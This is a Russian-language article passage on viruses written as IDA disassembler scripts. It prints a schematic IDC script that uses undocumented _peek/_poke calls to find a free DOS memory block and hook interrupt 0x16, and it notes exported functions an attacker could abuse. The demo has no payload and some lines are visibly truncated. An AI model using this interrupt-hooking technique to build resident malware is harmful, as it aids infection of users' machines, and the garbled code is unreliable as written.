ВИРУСЫ В СКРИПТАХ IDA - часть 4
static MyGetByte(a) { return (_peek(a) & 0xFF); }
static MyGetWord(a) { return MyGetByte(a)+(MyGetByte(a+1)*0x100); }
static GetNextMCB(a) { a=a+ (MyGetWord(a+3) return a; }
static GoToMCB(a) { if (_peek(a)!='M') return 0; while(1) { a=GetNextMCB(a); if (_peek(a)=='Z') return 1; if (_peek(a)!='M') return 0; } }
static FindFirstMCB() { auto a; a=0x0; while(1) if (GoToMCB(++a)) break; return a; }
static FindFreeMCB() { auto a; a=FindFirstMCB(); while(MyGetWord(a+1)) { a=GetNextMCB(a); if (MyGetByte(a)=='Z') return 0; } return a; }
static SaveInt0x16(a) { auto temp; for (temp=0;temp_poke(a+temp,MyGetByte(0x16*4+temp)); }
static SetNewInt0x16(a) { _poke(0x16*4,a); a=a>>4; a=a & 0xFFF0; _poke(0x16*4+1,0);
_poke(0x16*4+2,a); a=a>>8; _poke(0x16*4+3,a); }
static CopyEject(a) { _poke(a,0xCF); }
static SetOldInt0x16(a) { auto temp; for (temp=0;temp_poke(0x16*4+temp,MyGetByte(a+temp)); }
static main() { auto a; a=FindFreeMCB(); if (!a) return; Message("Найден свободный блок по адресу %x \n",a); if (!AskYN("NO","Сейчас будет инфицирован Ваш компутер \n Вы в самом деле хотите это сделать? Подтвердите!"))return; if (!AskYN("NO","Подтвердите необходимость инфицирования еще раз!")) return; SaveInt0x16(a); CopyEject(a+4); SetNewInt0x16(a+4); AskYN("X","Поздравляем Вас с успешной активацией вируса!"); SetOldInt0x16(a); }
Схематичный пример показан выше. Тело вируса в нем отсутствует, и весь смысл сводится лишь к тому, что бы передать управление процессора на команду возврата из программы 'ret'. Работать это будет исключительно в среде чистой MS-DOS (консольный режим win32 за таковой не считается) и поэтому представляет не более чем познавательный интерес.
Но существуют экземпляры, которые функционируют и в казалось бы защищенной Windows NT. Да, выйти за пределы третьего кольца защиты там невозможно (ну будем считать, что невозможно) ввиду архитектуры самой системы, но вирусу для многих действий и третьего кольца хватит с лихвой.
В IDA функции _peek и _poke недокументированны, но тем не менее присутствуют и являются ключевой частью ядра для собственных нужд дизассемблера. Можно ли гарантировать, что подобных "лазеек" нет в других пакетах?
Разумеется нет! История не однократно убеждала в том, что незакрытые люки и отладочные функции явление привычное. К тому же большинство из них обнаруживаются элементарным образом. Например, если посмотреть какие функции экспортирует IDA.WLL, то среди них обнаружится не только _peek и _poke, но и даже _call! Таким образом обеспечивая всю необходимую злоумышленнику низкоуровневую работу.
Перейдем теперь ко второй группе - существующей только в рамках одного приложения. За кажущейся внешней безопасностью такие вирусы могут нанести даже более существенный урон, ибо порча исполняемых файлов всегда может быть ликвидирована переустановкой программного обеспечения с дистрибьютивных дисков, то искажение документов пользователя часто оказывается необратимым.
Содержание Назад Вперед